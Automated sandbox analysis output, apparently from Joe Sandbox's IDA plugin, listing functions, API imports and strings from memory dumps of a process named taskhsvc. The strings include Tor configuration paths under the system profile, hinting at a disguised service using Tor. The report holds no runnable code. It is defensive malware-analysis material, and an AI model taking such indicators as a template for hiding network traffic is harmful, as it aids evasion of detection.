Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001D5156, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 86

APIs

__stack_chk_fail.LIBSSP-0 ref: 001D55E3

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

, xrefs: 001D51FD
T'A, xrefs: 001D52A2
T'A, xrefs: 001D51F5

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00319C41, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77

APIs

abort.MSVCRT ref: 00319C9A

Part of subcall function 00321355: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213C1
Part of subcall function 00321355: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00319CF8), ref: 003213E7

memset.MSVCRT ref: 00319D32
__stack_chk_fail.LIBSSP-0 ref: 00319D4C

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

M, xrefs: 00319C8A

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00210D7D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0021307F), ref: 00210DD3
__stack_chk_fail.LIBSSP-0 ref: 00210E2D

Part of subcall function 001DE526: abort.MSVCRT ref: 001DE588
Part of subcall function 001DE526: abort.MSVCRT ref: 001DE5C7
Part of subcall function 001DE526: abort.MSVCRT ref: 001DE60E
Part of subcall function 001DE526: abort.MSVCRT ref: 001DE655
Part of subcall function 001DE526: abort.MSVCRT ref: 001DE730
Part of subcall function 001DE526: __stack_chk_fail.LIBSSP-0 ref: 001DE7A0

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

J!B, xrefs: 00210DB3
(2B, xrefs: 00210DBB

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00231A28, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48

APIs

abort.MSVCRT ref: 00231A78

Part of subcall function 003EC083: event_set_log_callback.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,00231A82), ref: 003EC09A
Part of subcall function 003EC083: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00231A82), ref: 003EC0AB

Part of subcall function 003EC0B2: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00231A8E), ref: 003EC0DC

memset.MSVCRT ref: 00231AA4

Part of subcall function 002319D3: __stack_chk_fail.LIBSSP-0 ref: 00231A21

Part of subcall function 003EC11F: abort.MSVCRT ref: 003EC173
Part of subcall function 003EC11F: event_config_new.LIBEVENT-2-0-5 ref: 003EC183
Part of subcall function 003EC11F: abort.MSVCRT ref: 003EC1C5
Part of subcall function 003EC11F: event_config_set_flag.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC1D8
Part of subcall function 003EC11F: event_config_set_num_cpus_hint.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC1F5
Part of subcall function 003EC11F: event_config_set_flag.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC208
Part of subcall function 003EC11F: event_base_new_with_config.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC213
Part of subcall function 003EC11F: event_config_free.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC223
Part of subcall function 003EC11F: exit.MSVCRT ref: 003EC25C
Part of subcall function 003EC11F: event_get_version.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC268
Part of subcall function 003EC11F: __stack_chk_fail.LIBSSP-0 ref: 003EC2A5

__stack_chk_fail.LIBSSP-0 ref: 00231AE6

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

4fC, xrefs: 00231A60

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00229AAB, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31

APIs

Part of subcall function 0022990B: SHGetSpecialFolderLocation.SHELL32 ref: 00229964
Part of subcall function 0022990B: _getcwd.MSVCRT ref: 0022997C
Part of subcall function 0022990B: SHGetPathFromIDListA.SHELL32 ref: 002299D9
Part of subcall function 0022990B: __stack_chk_fail.LIBSSP-0 ref: 00229AA1

Part of subcall function 00316005: __stack_chk_fail.LIBSSP-0 ref: 0031605E

__stack_chk_fail.LIBSSP-0 ref: 00229B28

Strings

z9C, xrefs: 00229AFC
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\torrc-defaults, xrefs: 00229AE0, 00229AEC
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\torrc, xrefs: 00229B0C, 00229B18

Memory Dump Source

Source File: 00000013.00000002.1855077166.00228000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F3047, Relevance: 6.2, APIs: 4, Instructions: 200

APIs

getsockname.WS2_32 ref: 001F30A2
__stack_chk_fail.LIBSSP-0 ref: 001F33E6

Part of subcall function 0031910D: __stack_chk_fail.LIBSSP-0 ref: 00319194

Part of subcall function 0031919B: strerror.MSVCRT ref: 003191ED
Part of subcall function 0031919B: __stack_chk_fail.LIBSSP-0 ref: 003191FD

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 0032B94F: abort.MSVCRT ref: 0032B9AB
Part of subcall function 0032B94F: abort.MSVCRT ref: 0032B9EA
Part of subcall function 0032B94F: memset.MSVCRT ref: 0032BA05
Part of subcall function 0032B94F: __stack_chk_fail.LIBSSP-0 ref: 0032BAEA

Part of subcall function 001E8718: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001EF09F), ref: 001E873F

free.MSVCRT ref: 001F31CA

Part of subcall function 0032DA95: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,002564FC), ref: 0032DAE3

Part of subcall function 0032EC9C: abort.MSVCRT ref: 0032ED00
Part of subcall function 0032EC9C: memset.MSVCRT ref: 0032ED1B
Part of subcall function 0032EC9C: __stack_chk_fail.LIBSSP-0 ref: 0032EDD9

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 0032D7F2: abort.MSVCRT ref: 0032D854
Part of subcall function 0032D7F2: abort.MSVCRT ref: 0032D893
Part of subcall function 0032D7F2: memcpy.MSVCRT ref: 0032D8AD
Part of subcall function 0032D7F2: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001F57C7), ref: 0032D8C0

free.MSVCRT ref: 001F335D

Part of subcall function 00319BE8: memset.MSVCRT ref: 00319C1F
Part of subcall function 00319BE8: __stack_chk_fail.LIBSSP-0 ref: 00319C3A

Part of subcall function 0032158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 003215E4
Part of subcall function 0032158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 00321623
Part of subcall function 0032158B: memcpy.MSVCRT ref: 0032164A
Part of subcall function 0032158B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 0032165D

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 00222CFD: __stack_chk_fail.LIBSSP-0 ref: 00222D23

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
